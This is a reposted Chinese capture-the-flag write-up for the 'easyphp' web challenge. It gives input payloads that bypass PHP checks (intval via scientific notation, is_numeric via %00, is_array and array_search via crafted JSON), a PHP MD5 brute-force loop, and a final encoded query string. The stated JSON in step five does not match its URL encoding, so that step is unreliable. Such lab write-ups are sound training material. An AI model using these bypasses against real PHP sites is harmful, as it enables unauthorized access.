0


攻防世界ctf web easyphp题解wp

第一步,用科学计数法绕过 a=1e9

if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3)#$a=1e9

第二步,用php代码编写MD5碰撞脚本得到b=53724

for($i = 1;$i <= 100000;$i++){
    if('8b184b' === substr(md5($i),-6,6)){
        echo $i."<br>".md5($i);
    }
}

第三步,绕过is_numeric函数

$c=(array)json_decode(@$_GET['c']); #接收json格式的字符串并将其转化为数组

c={"m":"2033%00"}#使用%00可以绕过is_numeric函数

第四步,绕过is_array函数

c={"m":"2033%00","n":[[1]]}

第五步,绕过array_search函数

c={"m":"2033%00","n":[[0,2],0]}

#对{"m":"2033%00","n":[[0,2],0]}进行url编码得到:
%7B%22m%22%3A%222033%2500%22%2C%22n%22%3A%5B%5B1%5D%2C0%5D%7D

一定要对传值url编码

?a=1e9&b=53724&c=%7B%22m%22%3A%222033%2500%22%2C%22n%22%3A%5B%5B1%5D%2C0%5D%7D

提交得到flag

标签: php 安全 web安全

本文转载自: https://blog.csdn.net/qq_41169485/article/details/127097629
版权归原作者 中原第一高手 所有, 如有侵权,请联系我们删除。

“攻防世界ctf web easyphp题解wp”的评论:

还没有评论